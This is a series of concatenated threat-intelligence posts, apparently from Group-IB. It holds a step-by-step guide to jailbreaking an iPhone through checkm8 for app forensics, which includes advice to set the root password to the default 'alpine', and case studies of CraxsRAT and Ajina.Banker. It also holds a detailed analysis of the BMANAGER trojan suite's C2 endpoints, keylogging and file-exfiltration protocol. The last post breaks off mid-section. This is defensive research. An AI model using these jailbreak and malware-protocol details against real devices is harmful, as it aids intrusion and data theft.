Cybercriminals have started modifying schemes traditionally aimed at Android to target iOS. Group-IB’s discovery of GoldPickaxe malware illustrates this trend. GoldPickaxe, the first iOS Trojan that harvests facial recognition data, is a modified version of the Android Trojan GoldDigger — but with new capabilities. In our detailed analysis, Group-IB experts dissected the new Trojan and found that cybercriminals had leveraged stolen data to impersonate real users and log into their bank accounts.
Hackers will likely continue to look for new ways of exploiting Apple devices, especially as smart technologies and IoT devices become used more widely. This increasing threat landscape shows how important it is to understand how to analyze iOS-related malware. In this article, we will guide you through the process of jailbreaking an iOS device for investigation purposes. By leveraging vulnerabilities such as Checkm8, cybersecurity experts can examine applications thoroughly and uncover potential threats. The goal of the guide is to equip readers with the tools and knowledge they need to investigate iOS devices, analyze any installed apps, and mitigate risks posed by iOS-related threats.
Dangers behind outdated Apple solutions: Checkm8 vulnerability
New security concerns around Apple devices keep coming to light. They are often announced by Apple itself in regular security bulletins. Such disclosures emphasize the importance of informing users about potential risks and how to address them properly. One notable and enduring threat is the checkm8 vulnerability, discovered in 2019. Checkm8 is a bootloader vulnerability that is “burned into the silicon,” which means that it is impossible to completely fix it with software updates. The flaw allows attackers to compromise a device almost irrespective of the iOS version it runs. Apple has made strides to mitigate its impact, for example with the A12 Bionic chip that protects newer devices (iPhone XS/XR and later), but older models remain at risk.
The checkm8 vulnerability is especially relevant today because it is being exploited by many various vendors, who use it to brute-force passcodes on iOS devices. Moreover, the interconnected nature of Apple’s ecosystem means that if one device associated with an Apple ID is compromised, all devices linked to that ID are also at risk. This underscores the importance of not only updating to newer, more secure devices but also of employing stringent security practices across all connected Apple products.
How to jailbreak iOS for investigation purposes
In our recent article, Group-IB experts discussed how to detect sophisticated spyware like Pegasus, which is often used by advanced threat actors and state-sponsored groups to execute zero-click exploits, affecting zero-day vulnerabilities, and gain full remote control of devices without the victims noticing. But what if you need to examine a full-fledged application?
When conducting an in-depth analysis of iOS devices and the apps installed on them, users need to be aware that iOS does not back up apps themselves but only the data they contain, and to a limited extent. It is not enough to rely on a backup copy alone.
To analyze an iPhone, users will require a device that can be jailbroken and forensics tools for jailbreaking iOS devices. The following tools are the most up-to-date:
Processor
A8-A11
A8-A16
Devices
iPhone 6S, 7, 8, X
iPhone 6S-14
Jailbreak
Palera1n
Dopamine
iOS versions
All
15.0.0-16.5.1
The most accessible option for cybersecurity experts is to acquire an iPhone X, which features a vulnerable bootrom (Checkm8 vulnerability) and runs a relatively recent iOS version (16), enabling the installation and normal functioning of all applications. While Checkm8 poses risks to users, mobile forensic experts can leverage the vulnerability to analyze malware.
To jailbreak your device, you’ll require MacOS and Palera1n, a tool primarily intended for research. However, if you need a low-level copy of a device—referred to as a full logic copy—using this vulnerability, it’s advisable to use agents that are more forensically sound. These agents make minimal changes and leave fewer traces on the device, which is crucial for forensic analysis, especially when extracting digital evidence stored on the phone. You can learn more about bootloader-level extractions here.
Figure 1. Request for permission to execute an application for jailbreaking
Allow execution:
Figure 2. Settings menu to give permission to run the application
NB: Whenever you bypass built-in security mechanisms in MacOS, it is essential to ensure that the binary file is safe and trustworthy. If there is any doubt, it is safer to perform such operations within a virtual machine.
Jailbreaking a device can be done in two ways: rootful or rootless. For our purposes, we’ll opt for the rootless approach, without delving into specific technicalities.
If you are using a device with an Apple A11 processor running the latest iOS 16, it is crucial that the device has never had a passcode set and that the Secure Enclave Processor (SEP) state has remained unchanged. Simply removing the passcode won’t suffice in this scenario. You will need to completely reset the device—erase all content and settings—and set it up again from scratch. For further information, you can refer to the link.
To begin the jailbreak process, connect your iPhone to your computer using a USB-A to Lightning cable. When prompted on your iPhone, select “Trust” to establish the connection between the device and the computer. Once the connection is established and trusted, you can proceed to start the jailbreak procedure.
./palera1n-macos-universal
During the installation process, your phone will enter recovery mode. Following this, adhere to the timer and instructions displayed in the terminal. When prompted, manually switch the device to DFU (Device Firmware Update) mode according to the provided guidance.
Figure 3. Example of a timer in a terminal showing how to hold and press the buttons
If the process freezes, which can sometimes happen, try reconnecting the Lightning cable a few times. This may help to resolve the issue and allow the jailbreak process to continue smoothly.
Voilà! After the tool has been downloaded, you will find yourself with a jailbroken phone equipped with an app manager—in this instance, Sileo.
Figure 4. App managers Sileo and Zebra
Once launched, Sileo will prompt you to set a password for the “su” command. We highly advise setting the standard password: “alpine“. This is recommended because “alpine” is the default password for most utilities and tweaks—around 99% of them. Opting for any other password would require you to re-enter it in numerous places throughout the system.
Next, install Frida, a dynamic code instrumentation toolkit. To do so, add the repository to Sileo.
Figure 5. Repository list
It’s time to install Frida.
Once Frida is installed, you will need a Linux-based computer or a virtual machine. For our analysis, Group-IB experts used a Parallels virtual machine running Ubuntu.
Connect your iPhone to the machine and click “Trust” on the device to establish the connection:
First, perform some basic installations (if you’re an advanced user, you already know how):
Use bagbak to decrypt the application and extract it from the iPhone.
Enumerate the available packages:
bagbak -l
Figure 6. Output of the command bagbak -l
Check the list for the app you would like to be decrypted, and extract it from the iPhone. In this example, we are looking for com.nnmakakl.ajfihwejk. Also, it is important to take note and remember the app name.
Figure 7. Results of the search for the app
Set port 44 for SSH using is a special feature of palera1n and extract the app.
export SSH_PORT=44
// 44 ssh port for Paler1in jailbreak
bagbak com.nnmakakl.ajfihwejk
Mission accomplished! The result is an iOS App Store package (IPA) file of the app that is now decrypted and ready for analysis.
Despite having been discovered many years ago, vulnerabilities such as Checkm8 remain a threat on account of their ability to become deep-seated in the device’s hardware. New exploitation methods continue to emerge, which makes older devices particularly vulnerable. If a device linked to an Apple ID is compromised, it jeopardizes all devices associated with it and all synchronized data. Group-IB experts recommend taking the following steps to protect your devices:
For the general public:
Avoid connecting your primary Apple ID to devices that are known to be vulnerable to the Checkm8 exploit.
Use separate Apple IDs for older, vulnerable devices to minimize risk and limit data exposure.
Ensure a passcode is configured on your devices so that they benefit from the additional security provided by recent iOS updates.
Upgrade to newer devices with the A12 Bionic chip (iPhone XS/XR and later), which are immune to the Checkm8 vulnerability.
Never click on suspicious links. Mobile malware is often spread through malicious links in emails, text messages, and social media posts.
Carefully review the requested permissions when installing a new application and be on extreme alert when an app requests the Accessibility Service.
Refrain from engaging in unknown Testflight campaigns and avoid installing unknown MDM profiles and certificates.
For businesses: Protect against evolving iOS threats
Organizations seeking to perform device analysis or implement additional security measures can contact Group-IB’s Digital Forensics team for further assistance.
Analyzing iOS devices is particularly challenging due to the closed nature of the operating system. However, Group-IB’s Threat Intelligence team, which discovered GoldPickaxe.iOS, has the expertise needed to analyze even the most sophisticated malware families in depth and identify vulnerabilities exploited by threat actors. Group-IB Threat Intelligence provides detailed insights into attacker behaviors, helping you to understand how your devices are targeted and to protect your infrastructure in a timely and effective way.
To detect malware and block anomalous sessions before users enter any personal information, Group-IB recommends implementing a user session monitoring system such as Group-IB Fraud Protection.
Train your employees in risks related to mobile malware. This includes teaching them how to spot fake websites and malicious apps and how to protect their passwords and personal information.
In May 2024, the Group-IB team received a request from a Malaysia-based financial organization to investigate a malware sample targeting its clients in the Asia-Pacific region.
Based on details from the customer and the analysis by the Group-IB Fraud Protection team, the malware scenario was reconstructed as follows:
The victim visited a phishing website impersonating a local legitimate food brand, which prompted the victim to download an app to make a purchase. Approximately 5 minutes after downloading the app, the victim’s credentials were stolen, and experienced an unauthorized withdrawal of funds from the victim’s bank within 20 minutes of installing the app on their mobile device.
Figure 1. Example of phishing website
Figure 2. Attack Flow Diagram
After analyzing the malware sample, Group-IB Threat Intelligence experts concluded that this malware sample was attributed to the CraxsRAT.
Malware Profile
CraxsRAT is a notorious malware family of Android Remote Administration Tools (RAT) that features remote device control and spyware capabilities, including keylogging, performing gestures, recording cameras, screens, and calls. For more in-depth technical information and insights into such malware can be found in our CraxsRAT malware blog. While this Android RAT family has the capability to send SMSes to the victim’s contacts that can be used for further distribution, Group-IB’s Fraud Protection team did not observe this in use during this campaign.
Figure 3. Trojan first screen
Scheme Target
In this campaign, CraxsRAT primarily targets banking organizations in Malaysia. Following a request from a customer, Group-IB began an investigation and found over 190 additional samples in Malaysia. They all share the same package name generation scheme and impersonated local legitimate brands within the retail services, infrastructure, food and beverages, delivery and logistics, and other consumer-oriented businesses. Brands are identified based on applications’ labels.
Impact
Victims that downloaded the apps containing CraxsRAT android malware will experience credentials leakage and their funds withdrawal illegitimately. Financial organizations targeted by CraxsRAT may experience potential damage to their brand reputation, in addition to increased compliance costs.
Modus Operandi
Figure 4. Fraud Matrix of this campaign
Detection and Prevention
Fraud Protection Events
To protect its clients from the threats posed by CraxsRAT android malware and similar threats, Group-IB Fraud Protection utilizes events/rules to detect and prevent CraxsRAT and other similar malware:
For Confirmed CraxsRAT Malware Samples
Group-IB Fraud Protection maintains a comprehensive database of all detected malware. When Fraud Protection system identifies applications from a mobile trojan list being downloaded onto an end user’s device, corresponding events would be triggered to promptly notify clients.
Figure 5. Example of “Mobile Banking Trojan”
For Ongoing Updated and New Strains – Signature-Based Detection
By analyzing the characteristics and fraudulent behavior matrix of CraxsRAT android malware, Group-IB Fraud Protection analysts develop new rules based on these shared attributes and defrauding techniques. These events target undetected or updated CraxsRAT malware samples and new strains exhibiting similar features, even without specific malware signatures.
For any other fake apps – Behaviour-Based Detection
Fake apps often require end users to grant Accessibility service access and enable remote access to their Android devices upon installation. Group-IB’s Fraud Protection Platform can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These alerts are communicated to banks, enhancing the likelihood of preventing fraudulent transactions by threat actors.
Figure 6. Example of session on infected device
Mitigation from Other Perspectives
For End Users
End-users should install mobile applications from authorized app stores such as Google Play and the Apple Store to avoid downloading fake apps containing malware. Downloading apps from third-party sites significantly increases the risk of encountering fake app scam. Additionally, users should exercise caution when clicking suspicious buttons or links found on unknown websites or in emails to avoid unintentional granting high-privilege access to fraudsters and the potential loss of credentials.
For banking organizations
Banking organizations play a pivotal role in safeguarding their customers’ financial information. It is imperative for banks to educate customers about security best practices and promote proactive behavior. This includes advising customers to install mobile banking apps only from authorized app stores, avoid clicking on suspicious links, and regularly monitor their accounts for unusual activity. Additionally, banks should implement multi-factor authentication, real-time fraud detection systems, and provide timely alerts to customers regarding potential security threats. By fostering a culture of security awareness, banking organizations can significantly reduce the risk of fraudulent transactions and enhance overall trust in their services.
Conclusion
CraxsRAT malware allows fraudsters to remotely access a victim’s device and steal credentials, leading to financial loss. In addition, CraxsRAT malware is rapidly evolving, with a dramatically increasing number of new strains emerging each day. To build a multi-dimensional detection method for identifying sessions with confirmed malware samples or emerging new strains, the following events are recommended for clients of the Fraud Protection system:
Events– Signature-based detection: Fraud Protection can detect the mobile trojan and suspicious mobile application. These events facilitate the detection of confirmed malware samples, mobile trojans listed in the Fraud Protection trojan list, and any suspicious mobile applications.
Events – Behavior-based detection: Fraud Protection can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These events enable the detection of emerging malware strains by analyzing their behaviors.
Events – Statistic-based detection: Fraud Protection can detect changes in user provider, high-risk ISPs, and IPs from high-risk countries. These events help identify suspicious IPs, subnets, and countries linked to known frauds or malwares, serving as informative notifications or as part of a combination of events to prevent fraudulent activity.
Events – Cross-department detection: In cooperation with Threat Intelligence, Fraud Protection can detect compromised user login. These events enable the tracking of activities of users whose accounts have been compromised, serving as user notifications or as part of a combination of events to prevent fraudulent activity.
In January 2024, during the analysis of the infrastructure used by ShadowSyndicate Group-IB Threat Intelligence analysts detected a landing page designed to distribute the BMANAGER modular trojan, created by threat actor dubbed Boolka. Further analysis revealed that this landing page served as a test run for a malware delivery platform based on BeEF framework. The threat actor behind this campaign has been carrying out opportunistic SQL injection attacks against websites in various countries since at least 2022. Over the last three years, the threat actor have been infecting vulnerable websites with malicious JavaScript scripts capable of intercepting any data entered on an infected website.
This blogpost contains a description of:
injected JS snippets used by the attacker we named Boolka
a newly discovered trojan we dubbed BMANAGER
YARA rules are available for Group-IB Threat Intelligence customers.
If you have any information which can help to shed more light on this threat and enrich current research, please join our Cybercrime Fighters Club. We would appreciate any useful information to update the current blog post.
Description
Discovery via InfraStorm connection
In January 2024 Group-IB detected a new ShadowSyndicate server with IP address 45.182.189[.]109 by SSH fingerprint 1ca4cbac895fc3bd12417b77fc6ed31d. This server was used to host a website with domain name updatebrower[.]com. Further analysis showed that this website serves a modified version of Django admin page with injected script loaded from hXXps://beef[.]beonlineboo[.]com/hook.js.
The SSH key was mentioned in Group-IB blogpost. Based on that, an assumption was made that ShadowSyndicate is a RaaS affiliate that uses various types of ransomware, which is the most plausible case.
However, the information obtained during this research decreased the chance of this assumption being correct. We will continue to monitor InfraStorm assets to clarify the attribution. At the moment it looks like the aforementioned SSH belongs to some bulletproof hosting provider or VPN.
Web attacks
Threat actor Boolka started his activities in 2022 by infecting websites with malicious form stealing JavaScript script. The threat actor injected the following script tag into HTML code of websites (Picture 1).
Picture 1: Injected script tag
When a user visits the infected website, the script will be downloaded and executed. During execution it performs two main actions.
First, it sends a request to the threat actor’s server to notify it that the script was executed. It utilizes HTTP GET parameters with “document.location.hostname” returning the hostname of the infected website; and the current URL being Base64-encoded (Picture 2).
Picture 2: Sending a beacon to C2
Second, it collects and exfiltrates user input from infected website (Picture 3)
Picture 3: Data collection and exfiltration
The Boolka formstealing JavaScript script actively monitors user interactions, capturing and encoding input data from forms into session storage when form elements like inputs, selects, and buttons are changed or clicked. It sends all stored session data (collected form values) encoded in Base64 format back to the threat actor’s server. This behavior suggests that the script is designed for data exfiltration, potentially capturing sensitive user inputs such as passwords and usernames.
The code now includes additional checks within the cbClickButton function to exclude certain sessionStorage properties (key, getItem, setItem, removeItem, clear) from being sent to the server (Picture 5).
Picture 5: Updated collection and exfiltration code
The event listeners for user interactions with input fields, buttons, and select elements remain, capturing user input and sending it to the remote server.
The IP addresses of servers hosting the Boolka infrastructure were reported for multiple SQL injection attempts. The number and locations of reporters allow us to speculate that these attacks were opportunistic since there was no particular pattern in regions attacked by threat actor. Based on this information we can infer that the infection of compromised websites was the result of exploitation of vulnerabilities detected during this opportunistic vulnerability scanning.
Example SQL Injection payload used by attacker:
Malware delivery
The landing page updatebrower[.]com (Picture 6) detected in January 2024 was a test run of a malware delivery platform created by Boolka. This platform was based on open source tool BeEF (The Browser Exploitation Framework). In addition to the use of the obvious subdomain “beef” and default BeEF filename “hook.js” VirusTotal also detected and saved default hook.js version.
Picture 6: Screenshot of first detected test landing page created by Boolka
In total threat actor created 3 domain names for landing pages but used only one of them:
updatebrower.com
1-update-soft.com
update-brower.com
In March 2024, Group-IB Threat Intelligence analysts detected the first use of Boolka’s malware delivery platform in the wild. While there are multiple overlaps between the list of websites infected with Boolka’s formstealing JS and Boolka’s BeEF payload, we can assume that during this campaign the threat actor used the same approach for website infection that he tested during early stages of his activities.
In analyzed cases BeEF-based malware delivery platform created by Boolka was used to distribute a downloader for the BMANAGER trojan.
Malware
Different malware samples were discovered during analysis. Infection starts with the BMANAGER dropper which will attempt to download the BMANAGER malware from a hard-coded URL.
The following malware samples have been discovered as being used by Boolka.
All samples found thus far have been created with PyInstaller. The Python scripts used rely on Python 3.11.
BMANAGER downloader
The BMANAGER downloader attempts to download, configure persistence for, and execute the BMANAGER malware.
It downloads the BMANAGER from a URL hard-coded into the dropper using a HTTP(S) GET request.
The response to this request is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the BMANAGER executable file.
By default it drops the BMANAGER malware at: C:\Program Files\Full Browser Manager\1.0.0\bmanager.exe
BMANAGER persistence & execution
Persistence is achieved via Windows tasks. This starts the BMANAGER malware when the user logs into Windows.
BMANAGER is capable of downloading files from a hard-coded C2, creating startup tasks, deleting startup tasks, and running executables.
Features
Download executables from a hard-coded C2 address
Create Windows tasks to allow executables to run on login
Create Windows tasks to run executables
Delete Windows tasks
Windows tasks & persistence
Persistence is achieved by creating Windows tasks. Individual malware samples do not have the capability to achieve persistence. This is done for them by the BMANAGER malware. The BMANAGER malware will execute the following command to achieve persistence:
With task_name being replaced by a name for the task as defined by the C2. And path_to_executable being replaced with the path to and name of the executable to configure the persistence for.
C2 communication
The malware communicates with the C2 via HTTP(S) GET requests.
Register client
On startup the malware will send messages to the C2 to register it using a GUID randomly generated by the malware. This GUID is stored in a local SQL database.
The initial C2 this request is sent to is hard-coded into the sample.
/client?guid={guid}
Expects a string “success” to be returned.
/getmainnodes?guid={guid}
Expects a list of potential C2s to be returned.
/
This request is sent to each C2 in the received list to determine response time.
List of C2s is sorted based on response time from low to high.
/client?guid={guid}
Request is executed for each C2 in the returned list.
Expects a string “success” to be returned.
If “success” is returned the C2 is selected as the active C2 and it stops going through the list of C2s.
The list of C2s is stored in a locally kept SQL database. The active C2 is marked as such in this SQL database.
Get target applications
Next the malware will attempt to retrieve a list of applications which are targets. This request is made to the active C2.
/getprogramms?guid={guid}
The response is a single string containing comma separated executable names.
Response of C2 during time of analysis (29/02/2024)
This list of applications is stored in the local SQL database. The information can then be used by other modules to determine what applications to target.
Get additional malware
Last but not least the malware will attempt to retrieve additional executables from the active C2. These executables have thus far always been other malware samples. These samples are:
BMREADER
Data exfiltration module
BMLOG
Keylogger module
BMHOOK
Windows hooking module
BMBACKUP
File stealer module
It will send a GET request to the C2 to retrieve the applications to download and install.
Response of C2 during the time of analysis (29/02/2024).
These strings consist of parameters used by the BMANAGER malware. These parameters are separated using the semicolon (;) character. The parameters are as follows:
Download URL
The URL from where to download the executable.
Windows task name
The name of the Windows task to create/run/delete.
Executable dump path
Where the downloaded executable is dumped on the victim device.
Function
Whether to create a new Windows task for the executable, to run an existing Windows task, to create and run a Windows task, or to delete an existing Windows task.
Possible values:
1
Create new Windows task (which is set to start on login)
This will download the executable.
2
Delete an existing Windows task
3
Create a new Windows task (which is set to start on login) and run it immediately
This will download the executable.
4
Run an existing Windows task
5
Stop a currently running Windows task
This will also delete the executable.
Version
A string value. This value is used to distinguish between versions of the malware.
To download an executable the malware sends a GET request to the given URL. The response is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the final executable file.
A new Windows task is created for this executable to start on login, and optionally the executable is started immediately.
After all applications have been downloaded, and all tasks have been performed, a message is sent back to the C2.
/install?guid={guid}&name={version}
The version being the version string found in the C2 response.
BMREADER
The BMREADER malware sends stolen data stored in the local SQL database to the active C2.
Features
Exfiltrates data stored in the local SQL database
C2 communication
Communication with the C2 is done via HTTP(S) GET requests.
Register with C2
On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.
/getnodes?guid={guid}&type=2
Expects a list of C2s as response.
/usednodes?guid={guid}&t=0&node={resultnode}
resultnode is set to the initial C2 address.
Only called if 1 did not return a list of C2s.
Expects a list of C2s as response.
/
Called for every C2 in the list.
Measures response time of C2s.
List of C2s is sorted based on response time from low to high.
/client?guid={guid}
Called for every C2 in the list.
Expects string “success”.
If “success” is returned it will stop going through the list of C2s.
/usednodes?guid={guid}&t=0&node={resultnode}
resultnode is set to the C2 the malware has chosen to connect to.
Sent to the initial C2.
If no C2 returns “success”, the initial C2 is used.
Sending stolen inputs
One of the values stored in the local SQL database that is exfiltrated by the BMREADER is a list of keyboard inputs. These keyboard inputs have been obtained by the BMLOG (keylogger) malware.
The following GET request is made to the connected C2.
eventid being the ID of the event that triggered the keylogging
recid being the ID of the keylogging.
data being the actual string of inputs stolen from the victim.
The logged keys sent are then removed from the local SQL database.
Sending known applications
Another value stored in the local SQL database, and sent to the C2 by the malware, are applications found to be running on the victim device. These applications are collected by the BMHOOK malware.
A GET request is made to the C2:
/clientprogramm?guid={guid}&vars={resultencode}
guid being the random GUID obtained from the local SQL database.
resultencode being a ZLIB compressed and Base64 encoded string consisting of all programs stored in the local SQL database
When the response to this request is a string value of “success” the SQL database is updated. This update sets all applications as having been sent. This prevents entries from being sent twice.
BMLOG
The BMLOG malware is a keylogger. It stores logged keys in a local SQL database.
It performs the keylogging using the Python keyboard module.
Due to the keyboard module logging keys globally, not per window, it uses the BMHOOK malware to record which window currently has keyboard focus.
It will only log keys for applications that have been set as targets. These targets are received by the BMANAGER malware from the C2 and stored in the local SQL database. The BMLOG malware reads these targets from that same database.
Features
Record keyboard inputs
Storing logged keys
Instead of sending logged keys to a C2 it stores them in a local SQL database.
The keylogger will continually log keys until either:
60 seconds of logging have passed
A different window gains keyboard focus
If either of these events occurs all inputs are stored as a single string in the local SQL database. After storage the keylogger will begin logging again.
The inputs are translated as follows:
For inputs a single character long (a, b, 1, 2, etc.) they are put in the string as is.
For space inputs a whitespace is appended to the string.
For tab inputs a “\t” character is appended to the string.
For other inputs the input is capitalized and placed between square brackets before being appended to the string.
Additional values stored alongside the input string are:
The event ID
The amount of recordings made for the logged application
The path to the logged application
The title of the window being keylogged
0 value to indicate the information has not yet been sent to the C2
The BMREADER application sends the logged keys to the C2.
BMHOOK
The BMHOOK malware uses Windows hooks to discover which applications are running on a victim device and which window/application has keyboard focus.
This sample stands out in its implementation in that it uses CPython and Windows APIs to install Windows hooks. This makes the sample function only on Windows.
Features
Install a Windows hook to trigger on a window receiving keyboard focus
Windows hooks
The BMHOOK malware uses the SetWinEventHook function to install a Windows hook. This hook is configured to trigger on win32con.EVENT_OBJECT_FOCUS events. This type of event occurs when a window receives keyboard focus.
The following actions occur when this event is triggered:
Use GetWindowTextW to retrieve the title of the hooked window.
Obtain the full path of the executable the window belongs to.
Insert these two values, and a unique ID value, into the local SQL database.
Insert the path to the application into the local SQL database, if it does not exist there already.
The BMREADER malware uses the information stored in the local SQL database to send to the C2. The BMLOG malware uses the information to determine which window/application is being keylogged.
BMBACKUP
The BMBACKUP malware is a file stealer. It checks for specific files retrieved from a C2. If it finds the files it will read them and send them to the C2.
Features
Retrieve paths of files to steal from C2
Exfiltrate stolen files to C2
C2 communication
Communication with the C2 occurs via HTTP(S) GET requests.
Register with C2
On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.
/getnodes?guid={guid}&type=2
Expects a list of C2s as response.
/usednodes?guid={guid}&t=0&node={resultnode}
Only called if 1 did not return a list of C2s.
Expects a list of C2s as response.
/
Called for every C2 in the list.
Measures response time of C2s.
List of C2s is sorted based on response time from low to high.
/client?guid={guid}
Called for every C2 in the list.
Expects string “success”.
If “success” is returned it will stop going through the list of C2s.
/usednodes?guid={guid}&t=0&node={resultnode}
Sent to the initial used for the first request.
resultnode is set to the C2 the malware has chosen to connect to.
If no C2 returns “success”, the initial C2 is used.
Get target files
The malware sends a request to the C2 every 60 seconds to retrieve a list of files to exfiltrate.
/getpaths?guid={guid}
The response consists of a list of strings. Each being an absolute path to a file to exfiltrate.
Response from C2 during the time of analysis (29/02/2024).
After making this request it will check each of these files whether they exist or not. If a file is found to exist the exfiltration process is initiated.
Exfiltrating files
The malware will go through the list of files to exfiltrate and check if they exist. When a file exists it will begin the exfiltration process.
A copy of the target file is made with a randomized name. This randomized name is a random UUID value ending with “.tmp”. This copy is placed in the users temporary directory (C:\Users\*\AppData\Local\Temp).
The copy file is read in 16384 byte chunks. Each of these chunks is sent to the C2 via a GET request.
/clientfiledata?guid={guid}&vars={resultencode}
resultencode being a Base64 encoded string containing the byte data.
resultencode is created in the following manner:
Up to 16384 bytes are read from the target backup file and converted to a hexadecimal string
partcount are the total amount of chunks the file consists of
hex are the bytes read from the file
file is the path and name of the original file (not the path and name of the backup file)
This info string is ZLIB compressed, Base64 encoded, and then made URL safe
This is the final resultencode object that is sent as a URL parameter
SQL database
Most samples make use of a local SQL database. The path and name of this database is hard-coded in the samples to be located at: C:\Users\{user}\AppData\Local\Temp\coollog.db, with user being the username of the logged in user.
The following is a map of the SQL database. This map contains all tables and fields used by the different malware samples. Do note that the tables are created by each sample as they use them. Thus if certain samples are not present on a device, these tables may not be present.
Tables
clientguid
Contains the randomly generated GUID used to identify the sample to the C2.
Created by BMANAGER
mainnodes
Contains a list of C2s, in particular the currently active C2.
Created by BMANAGER
log
Contains the keylogger data.
Created by BMLOG
event
Contains which applications/windows have/had keyboard focus.
Created by BMHOOK
allprogramm
Contains a list of applications whose window has received keyboard focus at one point.
Created by BMHOOK
programms
Contains a list of all applications that are to be targeted by other modules.
Created by BMANAGER
files
Contains a list of files that need to be exfiltrated to the C2.
Created by BMBACKUP
Signing certificate
BMANAGER 2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802 is signed with a valid certificate by ООО ТАСК:
According to the company’s website they develop software, however there are few suspicious things:
The locale shown on the map differs from the address, which points to the town of Dmitrov in Moscow, Russia.
all buttons show static info which doesn’t correlate with their description
Based on public information the company consists of 4 people, and their CEO also runs 5 other small companies.
These facts lead to three different versions:
the certificate doesn’t belong to OOO ТАСК, and it was bought by a fraudster providing fake data to GlobalSign
the certificate was stolen from OOO ТАСК, which means that either infrastructure of ООО ТАСК was compromised or email i.shadrin@tacke.ru got compromised
ООО ТАСК or it’s employees anyhow involved into fraudulent operations
We can not confirm any of these versions. However we checked domain tacke.ru in the stealer logs cloud and didn’t find any occurrence.
Conclusion
The discovery of the Boolka’s activities sheds light on the evolving landscape of cyber threats. Starting from opportunistic SQL injection attacks in 2022 to the development of his own malware delivery platform and trojans like BMANAGER, Boolka’s operations demonstrate the group’s tactics have grown more sophisticated over time. The injection of malicious JavaScript snippets into vulnerable websites for data exfiltration, and then the use of the BeEF framework for malware delivery, reflects the step-by-step development of the attacker’s competencies.
The analysis reveals the complexity of the malware ecosystem employed by Boolka, with various components such as formstealing scripts, keyloggers, and file stealers orchestrated to achieve malicious objectives. Additionally, the investigation into the signing certificate used by the BMANAGER malware underscores the challenges in attribution and the potential involvement of legitimate entities in illicit activities.
Recommendations
Recommendations for end users:
Avoid clicking on suspicious links or downloading files from unknown sources.
Download apps and updates only from official sources.
Ensure that your operating systems, browsers, and all software are regularly updated.
Employ strong, unique passwords for different accounts and use a reputable password manager to keep track of them.
Enhance security by enabling multi-factor authentication (MFA) on your accounts wherever possible.
Ensure you have reliable and up-to-date security measures like anti-virus software in place to detect and remove threats.
Recommendations for website owners:
Conduct frequent security audits and vulnerability assessments to identify and fix potential weaknesses. Group-IB’s Penetration Testing services can help you minimize your susceptibility to web attacks. Our experts work with the latest methods and techniques curated by Group-IB Threat Intelligence to pinpoint assets vulnerable to web injection attacks, and more.
Use robust authentication protocols and require strong passwords for all users, along with multi-factor authentication.
Ensure all software, including plugins and content management systems, are updated with the latest security patches.
Deploy a WAF to monitor and filter malicious traffic targeting your web applications.
For advanced cybersecurity teams, we recommend using Group-IB’s Threat Intelligence system, which can be used to detect relevant threats as early as during their preparation stage. The built-in graph analysis tool enriched by data from the largest threat-actor database reveals links between attackers, their infrastructures, and their tools. Enriching cybersecurity with threat intelligence helps significantly strengthen an organization’s ability to counter attacks, including ones carried out by state-sponsored groups.
Discovered by Group-IB in May 2024, the Ajina.Banker malware is a major cyber threat in the Central Asia region, disguising itself as legitimate apps to steal banking information and intercept 2FA messages.
Introduction
In May 2024, Group-IB analysts discovered suspicious activity targeting bank customers in the Central Asia region. The threat actors have been spreading malicious Android malware designed to steal users’ personal and banking information, and potentially intercept 2FA messages. During the investigation, Group-IB discovered .APK files masquerading as legitimate applications that facilitated payments, banking, deliveries, and other daily uses. These malicious files were spread across Telegram channels.
After the initial analysis of this trojan, we discovered thousands of malicious samples. All the found samples were divided into several activity clusters, each to be separately studied and investigated in a series of articles. This article examines one of these clusters: meet the Ajina.Banker malware.
Ajina is a mythical spirit from Uzbek folklore, often depicted as a malevolent entity that embodies chaos and mischief. According to local legends, this spirit is known for its ability to shape-shift and deceive humans, leading them astray or causing them harm. We chose the name Ajina for this malware campaign because, much like the mythical spirit, the malware deceives users by masquerading as legitimate applications, leading them into a trap compromising their devices and causing significant harm.
Key Findings
During our research, we uncovered the ongoing malicious campaign that started from November 2023 to July 2024.
We found and analyzed approximately 1,400 unique samples of Android malware and identified changes between versions of the same malware.
The attacker has a network of affiliates motivated by financial gain, spreading Android banker malware that targets ordinary users.
Analysis of the file names, sample distribution methods, and other activities of the attackers suggests a cultural familiarity with the region in which they operate.
Analysis also shows that the evolution of this malware campaign is causing attacks to expand beyond the original region, causing more victims in other countries as well.
Threat Actor Profile
The starting point of the research
As part of its continuous monitoring and hunting procedures, Group-IB analysts discovered a malicious Android sample (SHA1 b04d7fa82e762ea9223fe258fcf036245b9e0e9c) that was uploaded to the VirusTotal platform from Uzbekistan via a web interface, and had an icon of a local tax authority app.
Figure 1. Screenshot of the sample found on the VirusTotal platform
Behavioral analysis has shown that the application tries to contact 109.120.135[.]42. Group-IB’s proprietary Graph Network Analysis tool reveals similar files that contacted the same server.
Figure 2. Screenshot of graph analysis of network infrastructure of the detected server
Our attention was also drawn to the package when our Fraud Protection solution detected the package org.zzzz.aaa in one of our client sessions. During our investigation, we found more samples on the VirusTotal platform. Our Fraud Analysts continued researching this malware and constructed a timeline of the campaign, identifying methods of distribution and targets.
Figure 3. Screenshot of Android Info summary with unique package name
Timeline
Ajina’s malicious campaign commenced in November 2023 and has persisted to present day. Initially the activities detected included the malware distribution through Telegram, encompassing a range of threats from malware-laden attachments to phishing attempts.
Ajina refined their tactics as the campaign progressed into February through March 2024, demonstrating heightened sophistication Social engineering techniques and the scale of the attack were increasingly leveraged to enhance the campaign’s efficiency. Based on Group-IB’s Fraud Protection system, we have plotted the following timeline of new infections.
Figure 4. New infections timeline
The timeline above illustrates the daily count of new infections, indicating a persistent and ongoing threat. This trend reveals that many users continually fall victim to the malware, leading to a steady increase in infections over time. The data shows that the adversary’s distribution techniques remain effective, successfully targeting new victims daily.
Malware distribution
